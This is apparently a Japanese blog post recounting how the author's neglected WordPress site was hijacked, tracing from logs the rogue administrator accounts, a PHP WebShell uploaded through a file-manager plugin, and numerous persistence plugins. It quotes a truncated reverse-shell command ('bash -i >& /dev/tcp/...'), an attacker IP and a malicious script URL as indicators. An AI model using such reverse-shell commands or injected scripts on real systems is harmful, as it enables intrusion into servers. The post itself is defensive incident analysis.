放置していたWordPressが乗っ取られてWebShellだらけになっていた話

本ページはアフィリエイトプログラムによる収益を得ています。


とりあえずWordPressを設置していた某ドメイン

特に重要な記事が入っているわけでもなく、ほぼ放置状態。

時たまSSL生きてるかみているだけだったもの

月が替わったので確認したときにやられていることに気づく。

「Hacked by CoupDeGrace」は、2026年8月中旬頃から日本の複数のWordPressサイトなどで相次いで確認されている、ウェブサイトの改ざん(ハッキング)被害のメッセージです。 [1, 2, 3]

被害の特徴

  • 表示される文言: 画面やソースコードに「Hacked by CoupDeGrace」と表示される。
  • 関連する痕跡: 過去のハッカー名(Hmei7、BrokenPipe、SimSimiなど)への挨拶(Greetz)が一緒に記載されていることが多い。
  • 原因: WordPressの脆弱性や不正アップロード(wp2shellなど)を突いた一連の不正アクセス・改ざん攻撃とみられている。

8月以降増えている脆弱性を狙ったもので データを暗号化したりなどはされていない様子。

とりあえずリバースプロキシだったのでプロキシを止めて

チャッピーにログの精査を投げる。

以下概要

気づくのが遅かったものの8月上旬からやられていたらしい。

最初に見つかったのがこれ。

/wordpress/anjv2.php

中身を確認すると、

Node Manager Pro v2.7 - Ultimate Edition

と名乗るPHP製WebShellだった。

機能はファイル一覧、アップロード、編集、削除、chmod、コマンド実行など一通り揃っていて、さらに

bash -i >& /dev/tcp/...

によるリバースシェル機能まで持っていた。

つまりWordPressを乗っ取られただけではなく、Webサーバーの実行ユーザーである apache 権限でOS上のファイルを操作できる状態になっていた。

ログを追ったら管理画面からWebShellを操作していた

最初は anjv2.php の更新日時が

2026-08-11 05:05:42

だったため、この時間に設置されたのかと思った。

ところがアクセスログを見ると、それより前の

2026-08-11 05:02:30

には既に

GET /wordpress/anjv2.php

が成功していた。

さらに直前には、

/wp-admin/admin-ajax.php?action=mk_file_folder_manager

へのアクセスがあり、Refererは

/wp-admin/admin.php?page=wp_file_manager

だった。

どうやらWordPressの管理画面に入り、File Manager系プラグインを利用してWebShellを置いた、あるいは操作していたらしい。

その後は anjv2.php を使って、

ブラウザからローカルディレクトリを次々に探索していた。

完全に人間がファイルマネージャをポチポチ触っている動きだった。

その前にWordPress管理者が作られていた

MariaDBの wp_users を確認すると、知らないユーザーが大量に増えていた。

Terri
backup_09044d2e36
site_manager
christian.walley
cache_sync
bapakk
backup_manager

しかも複数がAdministrator。

最も古い怪しいアカウント Terri の登録日時は、

2026-08-09 06:36:10 UTC

日本時間では

2026-08-09 15:36:10

だった。

そこでリバースプロキシ側に残っていたアクセスログを確認すると、まさにその時間、

15:35:00~
POST /?rest_route=/batch/v1

15:36:06
POST /?rest_route=/batch/v1

15:36:10
Terri 登録

15:36:15
POST /?rest_route=/batch/v1

という状態。

Terri が作成された瞬間を挟んで、WordPress REST APIの /batch/v1 に大量のリクエストが飛んでいた。

これだけではリクエスト内部の処理までログから断定できないものの、この攻撃によって不正な管理者が作成された可能性はかなり高そうだった。

2日後、攻撃者は一発で管理画面にログイン

8月11日になると、103.42.242.9 から、

GET  /wordpress/wp-login.php
POST /wordpress/wp-login.php

というアクセスが来ている。

興味深いのはログインPOSTが1回しかないこと。

しかも直後に、

/wp-login.php?action=confirm_admin_email
/wp-admin/

へ進んでいるため、ログインは成功している。

パスワード総当たりをした形跡はなく、最初から有効な管理者アカウントを知っていたように見える。

その数分後にはWordPress File Manager経由で anjv2.php を操作していた。

時系列としては、

8/9
REST APIへの攻撃
↓
不正Administrator「Terri」作成

8/11
管理画面へのログイン成功
↓
File Managerを操作
↓
anjv2.php WebShell設置・実行
↓
サーバ内を探索

という非常に分かりやすい流れになった。

実際のWordPressディレクトリを調べたらもっと酷かった

8月以降に更新されたPHPを全部列挙してみた。

すると出るわ出るわ。

8月9日には、

wp-content/plugins/wp2p_270d4efb/

という怪しいプラグイン。

8月11日には、

anjv2.php
adm.php

8月17日には、

lbfhsta
hzbghfz
mtbfkzs
eliokxs
hkuzvug
iqroyev

など、ランダムな名前のプラグインが次々と生成されていた。

8月20日には、

wp-content/plugins/site-assets/site-assets.php

も追加されていた。

これはApacheのエラーログに出ていた、

https://vpsstatistic.com/visitors.js

を読み込む処理と関連していた。

さらに8月21日には、

raimu
galex_*
site-helper-*
db-lite-*
wp-lite-*

といった怪しいプラグインが追加。

8月28日にはさらに、

wp-content/mu-plugins/
wp-content/themes/
wp-content/plugins/
wp-content/w3tc-config/

まで同時に書き換えられていた。

その時刻は、DB上で新しい不正ユーザーが追加された時刻ともほぼ一致していた。

つまり一度WebShellを消せば終わり、という状態ではなく、複数のプラグイン、MUプラグイン、テーマ、キャッシュ周辺、DBユーザーなどに何重にも永続化されていたようだ。

しかも攻撃は数週間続いていた

anjv2.php へのアクセスは8月11日だけではなく、

8/15
8/20
8/23
8/25
8/26

にも続いていた。

8月25日にはWebShellから、

2.py
start.py

というファイルを削除した形跡まで残っていた。

最初に侵入したあと、しばらく放置していたのではなく、複数回戻ってきて操作していたようだ。

結局どうしたか

幸い、このWordPressは記事を置くために本気で運用していたものではなく、ドメインを寝かせておくのも勿体ないので設置していただけだった。

残したい記事もない。

そしてWebShellによってWordPressの外まで探索されているため、

WordPressを掃除して再利用するのは諦めた。

今回改めて思ったのは、

「何も置いていないWordPressだから乗っ取られても大したことない」

というわけではないということ。

WordPressがWebサーバー上で動いている以上、そこを入口にWebShellを置かれれば、同じUNIXユーザーから読めるファイルや設定は全部攻撃対象になる。

そして放置したWordPressほど、攻撃されたこと自体に気付きにくい。

静的コンテンツだけでいい場合は MTもしくはHTML直だしのほうが安全なのかもしれない。

今回のは脆弱性コンボでやられていた様子。

CVE-2026-63030のbatch処理の混乱と、CVE-2026-60137のSQL injectionを組み合わせ、

未ログイン状態からWordPressのデータを読み出し、最終的には管理者作成→コード実行まで持っていける

コメントする

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください